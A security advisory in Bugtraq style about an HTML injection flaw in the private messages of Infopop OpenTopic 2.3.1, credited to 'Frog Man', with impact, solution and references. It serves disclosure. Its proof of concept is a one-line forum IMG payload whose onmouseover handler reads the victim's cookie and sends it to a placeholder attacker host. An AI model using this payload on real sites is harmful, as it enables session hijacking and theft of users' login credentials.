OpenTopic Private Message HTML Injection Vulnerability

Bugtraq ID:	6523
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jan 06 2003 12:00AM
Updated:	Jan 06 2003 12:00AM
Credit:	Discovery credited to "Frog Man" <[email protected]>.
Vulnerable:	Infopop OpenTopic 2.3.1
Not Vulnerable:

OpenTopic Private Message HTML Injection Vulnerability

A HTML injection vulnerability has been reported for OpenTopic. The vulnerability exists because OpenTopic does not sufficiently sanitize HTML code from private message posts.

When a victim user views any private messages, any malicious HTML code will be executed in the web browser in the security context of the site.

Exploitation may allow for theft of cookie-based authentication credentials or other attacks.

OpenTopic Private Message HTML Injection Vulnerability

The following proof of concept was provided:

[IMG]http://[website]/img.gif"width="750"height="750"onmouseover="
a=document['coo'+'kie'];location='http://[attacker]/?'+a;[/IMG]

OpenTopic Private Message HTML Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

OpenTopic Private Message HTML Injection Vulnerability

References:

• OpenTopic (Infopop)
  
• OpenTopic security hole ("Frog Man" )